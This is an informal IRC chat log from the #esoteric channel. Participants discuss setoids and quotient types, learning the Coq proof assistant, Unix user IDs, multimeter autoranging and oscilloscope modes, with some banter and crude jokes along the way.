PRIVMSG #esoteric :that would work too < 1269697374 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :yeah those people probably don't have souls < 1269697527 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: btw shouldn't there be another setoid arrow < 1269697536 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what do you eman < 1269697537 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :mean < 1269697538 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :from one setoid to a different one so that if a~b then f(a)~f(b) < 1269697546 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to from a setoid to some random type so that if a~b then f(a)=f(b) < 1269697557 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :that's what the original was < 1269697561 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :with <-> < 1269697564 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I wrote a ~ b ==> f(a) <-> f(b) earlier, to show that you could use different equivalences < 1269697564 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :on the right < 1269697565 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :the former is more general since you can have ~ be = < 1269697570 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: ah. < 1269697587 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but alise if you use quotients then you can just use = everywhere < 1269697594 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :a ~ b <=> [a] = [b] < 1269697607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :where [a] is the equivalence class of a < 1269697620 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269697646 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: quotients imply extensional choice < 1269697655 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so i don't want them < 1269697673 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :alise but say you had some development that used quotients < 1269697686 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wonders what to call the constructor A -> A/~
< 1269697693 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :there could be an automatic elaboration that turns it all into the equivalent setoid development no? < 1269697705 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: sure < 1269697714 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :so where does choice come into it? < 1269697716 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :I think it's the bending = that makes choice happen < 1269697723 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :because = is a very strong statement... < 1269697733 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :if we elaborate it out we no longer use = < 1269697734 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :[a] = [b] just means a ~ b < 1269697744 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: all I know is that it has been proved < 1269697749 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :llol < 1269697757 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I proved that 4 = 2 < 1269697780 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fax: < 1269697780 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :The key difference between set theory and type theory is that in set theory one can form quotient sets for arbitrary equivalence relations. In intensional type theory, one cannot form quotient types. If one could form quotient types, then one could reduce an extensional relation to an intensional relation on quotient types. Then one could use the intensional axiom of choice to get the extensional choice function. < 1269697803 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I don't get your point < 1269697805 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :i can't bring myself to argue with roconnor he's too cool < 1269697817 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :link? < 1269697832 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://r6.ca/blog/20050604T143800Z.html < 1269697837 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus < 1269697838 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :For more information see EM + EXT- + ACint is Equivalent to ACext by Jesper Carlstr�m. < 1269698005 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1269700491 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :http://pastie.org/889672.txt?key=yr84tq66b2gw65xcuq2o3a < 1269700505 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Setoids, fuck yeah. < 1269700661 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: Bow to my superiority! You only know Haskell! (Now pikhq will learn dependent type theory in three days.) < 1269701278 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: I don't seem to see any squiggliness in the double-line arrows. :/ < 1269701293 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Aww. < 1269701296 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Oh well; what I have now is aceptable. < 1269701348 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :alise: But when you *really* want to point right, there's the three-arrow ⇶, and the triple-arrow ⇛. And if you don't mind pointing up; the quadruple-arrow, ⟰. (There's also a rightwards quadruple arrow, ⭆, but my fonts don't have that one.) < 1269701374 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :⟰ - the penis hut arrow. < 1269701920 0 :adam_d!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269702441 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269702612 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269702904 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : your thinkpad has a sophisticated drainage system <-- it does. a) That does not mean my desktop keyboard has one as well. b) It is meant for when things go wrong, there is no reason to increase the risk of having to put it to use. < 1269702929 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :drinking near a computer is completely harmless. < 1269702967 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :and I'm fairly sure the design for the drainage system started with "I hate it when I spill drinks on my laptop and it gets fucked up, we should make it safe to drink" < 1269702985 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :maybe you just have really wobbly hands < 1269703604 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1269703889 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :hi ais523 < 1269703899 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hi alise < 1269705182 0 :Asztal!~asztal@host86-156-103-118.range86-156.btcentralplus.com JOIN :#esoteric < 1269705736 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269706353 0 :AnMaster!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269706480 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :so now fax has dragged me into using coq :( < 1269709265 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :success! < 1269710205 0 :Asztal!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1269710216 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Haw haw < 1269710219 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :alise loves the coq. < 1269710263 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :That I do. < 1269710761 0 :olsner!unknown@unknown.invalid PRIVMSG #esoteric :... < 1269711015 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :#esoteric: home of ... < 1269712931 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: THOU < 1269713131 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aliζe < 1269713207 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: BOW TO MY SUPERIORITY YOU KNOW ONLY ENGLISH! でも、何も日本語で言うつもり！悪人ね！ < 1269713271 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wow 言 is nice < 1269713297 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :言 -- japanese for beehive < 1269713392 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Japanese for "say", actually. < 1269713412 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :wrong < 1269713413 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Also Chinese. < 1269713426 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can't redefine it < 1269713439 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :-_-' < 1269713448 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :^ζ^ < 1269713449 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric : - < 1269714170 0 :mibygl!~184a5c0c@gateway/web/freenode/x-vuznxoqxfbazahum JOIN :#esoteric < 1269714209 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So, I'm pondering making a Unix MOO. No surprise there. < 1269714292 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :And I'm thinking it might be a good idea to set processes' UIDs to random junk, and then set files' owners to the same random junk so that the processes can access the files. < 1269714315 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm, interesting... < 1269714322 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :Is there anything wrong with doing such a thing? < 1269714405 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :What makes a user, anyway? Just an entry in /etc/passwd? < 1269714549 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269714554 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :plus /etc/shadow nowadays < 1269714603 0 :mibygl!unknown@unknown.invalid PRIVMSG #esoteric :So does anything bad happen if the /etc/passwd entry is missing? < 1269714711 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269715062 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Well... if things try and look up things like username, yes < 1269715183 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Actually, /etc/passwd doesn't make a user on most NIXen. PAM just uses /etc/passwd to check users. < 1269715194 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :PAM can do other things for that. < 1269715326 0 :jcp!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269715376 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1269715395 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269715995 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269716211 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hehehe < 1269716248 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :infinity! = sqrt(2pi) < 1269716263 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :just like how 1+1+1+1... = -1/2 < 1269716503 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there is something wrong with the reasoning here... < 1269716516 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(there is a decent argument that 9 recurring = -1, though) < 1269717041 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1269717394 0 :Slereah!~Slereah@ANantes-259-1-45-47.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1269718483 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :ais523, there's a reddit comment I wanted to link you to < 1269718498 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo_: why don't you link me to it then? < 1269718512 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Because I don't remember it offhand < 1269718514 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :It's in the logs < 1269718546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :on which day? < 1269718554 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Today/yesterday < 1269718666 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :http://www.reddit.com/r/programming/comments/bioxv/while_thinking_about_turing_machines_i_found_that/c0mypya ? < 1269718717 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I prefer alise's concept; create a device with an extensible tape, that asks a human to give it more tape if it runs out < 1269718718 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1269718734 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Wait, when did I say that? < 1269718746 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ages ago < 1269718750 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: I just want you to know that Coq is the bes tthing ever < 1269718754 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at least, I think it was you < 1269718756 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :what is Coq anyway? < 1269718756 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :*thing < 1269718762 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :A programming language / proof assistant. < 1269718767 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Practical: the four-colour theorem has been formalised in it. < 1269718776 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that was a weird theorem < 1269718779 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's French, so they don't mean no harm with that slightly iffy name. < 1269718779 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or at least, a weird proof < 1269718799 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :ais523: My first project in it has been - with fax's help - making an stdlib from scratch for it. < 1269718809 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It's been smooth sailing. < 1269718835 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've been having more thoughts about "splint done right" < 1269718840 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :It has the typical proof assistant conveniences: tactic-based proving but also tactic-based definitions, so you basically choose a bunch of different ways to mangle data/existing proofs/etc and it applies it to the right stuff and constructs the huge lambda-expression for you. < 1269718846 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Which has helped me define quite a few functions. < 1269718851 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Dependent up the wazoo, naturally. < 1269718860 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lambdas are one thing that tends to need sugar < 1269718865 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(or in the case of esolangs, antisugar) < 1269718872 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :hmm... syntactic salt? < 1269718892 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :well, proofs are lambda-expressions < 1269718899 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :(and propositions are types; curry-howard) < 1269718904 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :tactics let you write it a lot nicer < 1269718922 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Theorem Identity_leibniz {x y : T} {P : T -> Prop} : Identity x y -> P x -> P y. < 1269718924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : intros x y P H H′. < 1269718924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : destruct H. < 1269718924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : assumption. < 1269718924 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric : Qed. < 1269718942 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I should logread more often < 1269718949 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :intros binds all your assumptions to variables; x and y are the Ts, P is the T -> Prop, H is the identity proof, H' is the P x proof < 1269719002 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :18:39 < alise> It's French, so they don't mean no harm with that slightly iffy name. < 1269719007 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION catches oerjan in a butterfly net -----\XXX/
< 1269719017 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :It's French so they do everything they possibly can to mock our stupid language :P < 1269719038 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I've wanted to do that unexpectedly for months, but never found an opportunity at which simultaneously I was thinking about it, and it would be sufficiently unexpected < 1269719044 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I would make an awful Spanish Inquisition < 1269719193 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Coq is totally unwashed < 1269719200 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : I have seen the *same* multimeter display, without me touching anything on it displaying: 1.010 V, 1.01 V, 1010 mV < 1269719221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's easy to explain, it was an autoranging multimeter with substantial hysteresis involved (so that you could actually read the number) < 1269719222 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION buzzes frantically around in the net
< 1269719222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and why did you mention this? < 1269719228 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: to explain it < 1269719232 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :err < 1269719234 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah < 1269719238 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well tell me then < 1269719243 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I just did < 1269719246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : that's easy to explain, it was an autoranging multimeter with substantial hysteresis involved (so that you could actually read the number) < 1269719246 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah there < 1269719268 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that explains two of it < 1269719273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, but not why there are three? < 1269719275 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :all three, actually < 1269719286 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, really? I could see the V/mV thingy but... < 1269719291 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :those are three different ranges < 1269719298 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because autoranging works in multiples of 10 < 1269719310 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :internally, the second one is 0101 units of .01 V < 1269719311 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it seems strange that three ranges overlaps for a single value < 1269719340 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but a decimal point's added to make it less weird-looking < 1269719347 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269719353 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :in theory, a single value could be in loads of ranges < 1269719367 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, that seems poor design though to me? < 1269719368 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :0.001µV is probably in every range on the multimeter < 1269719372 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but they'd probably all treat it as 0 < 1269719385 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269719387 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's not poor design; no range has trouble reading numbers /below/ the ideal region < 1269719409 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and if the signal was, say, a square wave changing relatively slowly < 1269719420 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you wouldn't want it to keep re-ranging every time it went past 0 < 1269719428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, but why is the hysteresis so large that the value may be displayed in 3 different way? < 1269719436 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :because you'd end up overloading the multimeter and/or blowing the fuse < 1269719445 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :aha < 1269719461 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: because, the size of the hysteresis is measured in time, and the ranges are measured in volts < 1269719462 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it was stable at all three values < 1269719468 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so there wasn't any such time delay < 1269719475 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now, it likely also doesn't change if the voltage isn't changing < 1269719492 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there'll probably be a processor in there somewhere, and that would be a plausible way to program it < 1269719507 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well the voltage was jittering up and down a tiny bit. it was for AC. so RMS value < 1269719511 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :(processors are cheap nowadays, trying to do autoranging "by hand" is entirely possible but would be expensive) < 1269719546 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ooh, theory: there were two hystereses involved < 1269719554 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, and considering it has a digital display and lots and lots of buttons I assume it has a processor < 1269719560 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :one for the actual range selected (millivolts, or tens of millivolts) < 1269719567 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and one for the units to display in (millivolts, or volts) < 1269719573 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, the selector was on voltage (AC) < 1269719575 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that would explain how you got all three possibilities stably < 1269719576 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if that helps < 1269719597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh, quite insane :D < 1269719613 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: not at all, as the display and the measurement would be entirely different circuits < 1269719614 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :so this is all quite hysterical? < 1269719625 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: quite < 1269719628 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269719689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I'm not sure if the fact that it was measuring RMS and not peak voltage complicates it further or not < 1269719702 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :Measure what aspect of Stallman? < 1269719706 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it depends on /how/ it was trying to measure RMS < 1269719719 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well it was marked "true RMS" whatever that means. < 1269719723 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :alise: Clearly it was trying to measure the proximity of RMS. < 1269719723 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it shouldn't make any difference if it's by the standard method of rectifying then putting a capacitor in there < 1269719726 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh and input was a sinusoidal, from a function generator < 1269719732 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :oh, it wasn't using the standard method then < 1269719736 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But only the true RMS, not the impersonators. < 1269719737 0 :alise!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: a warning meter then < 1269719747 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, how does it measure "true rms" then? < 1269719750 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :if you rectify then add a capacitor, the result depends on the shape of the wave < 1269719769 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :as in, there's a correction factor (1/sqrt(2) for a sine wave, 1 for a square wave) to get RMS < 1269719778 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :alise, RMS is, uh, Root Mean < 1269719789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION know what it means, just not what it stands for
< 1269719792 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :knows* < 1269719801 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :true RMS means that it's using some form of measurement that can deduce the actual RMS without knowing the shape, but I'm not sure how to measure that < 1269719804 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: root mean square < 1269719811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right duh < 1269719847 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, measuring peak-to-peak would be a lot simpler sometimes. :/ < 1269719860 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well I guess that is what you have oscilloscopes for < 1269719873 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I can't think of an obvious way to do peak-to-peak either < 1269719884 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, well, using a oscilloscope < 1269719888 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that seems obvious to me < 1269719890 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I mean, on a multimeter < 1269719904 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(the oscilloscope I used even has a measure button with an option for peak-to-peak) < 1269719904 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :analog oscilloscopes rely on a human to see which bits of phosphorous are getting marked < 1269719907 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and to set trigger levels < 1269719910 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, it was a digital one < 1269719916 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the oscilloscope < 1269719924 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, modern oscilloscopes are a lot more sophisticated and can actually pick up the signal themselves < 1269719932 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :rather than relying on physics to amplify the signal < 1269720082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :metaphysical oscilloscopes < 1269720165 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, yes indeed it did < 1269720175 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you just pressed autoset or something like that iirc < 1269720182 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and possibly adjusted some settings afterwards < 1269720195 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like changed from peak-detect to sample or to average-sample < 1269720219 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I don't know why it always preferred the noisy peak detect mode) < 1269720288 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :peak detection is inherently noisy, because it relies on a very short length of time to grab the peak < 1269720297 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and any noise will have a full effect at that moment, rather than averaging over time < 1269720911 0 :Quadrescence!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1269720983 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, indeed < 1269720994 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, sample mode was rather noisy too iirc < 1269721003 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :while averaging sample was quite nice < 1269721019 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :there was a technician named Pope < 1269721030 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :who plugged into an oscilloscope < 1269721036 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :the cyclical trace < 1269721040 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :of their carnal embrace < 1269721055 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :had a damn near infinite slope < 1269721069 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so in other words, it was a square wave? < 1269721160 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :or arguably sawtooth, but that would have implied two slopes, one near-infinite, the other definitely finite < 1269721209 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well it said _a_ damn near infinite slope < 1269721225 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, that's why I thought square wave was more likely < 1269721233 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :we know it's some sort of wave, as it's cyclical < 1269721239 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :a square wave has two infinite slopes < 1269721244 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :up, and down < 1269721246 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1269721253 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and two zero slopes, for the horizontal bits < 1269721266 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :btw, "rising edge" and "falling edge" are more common names for them < 1269721282 0 :FireFly!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269721355 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : intercal needs to be... more self-modifying < 1269721362 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: you've obviously never really looked into CLC-INTERCAL < 1269721369 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can redefine syntax on the fly < 1269721484 0 :mibygl!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1269721510 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I ROTE A HASKEL PROGAM sqrt . sqrt . (120 *) . sum $ do [ 1/(m*m*n*n) | n <- [1..150], m <- [1..n-1] ] < 1269721530 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, heh < 1269721533 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it uses a nondeterministic search for pie < 1269721539 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, can you modify the program code at runtime too? < 1269721543 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or just the syntax? < 1269721558 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: just the syntax, but that makes the code mean something else < 1269721566 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :btw, is earth hour at the same time over there as here? < 1269721572 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :here it starts in a few minutes < 1269721580 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a 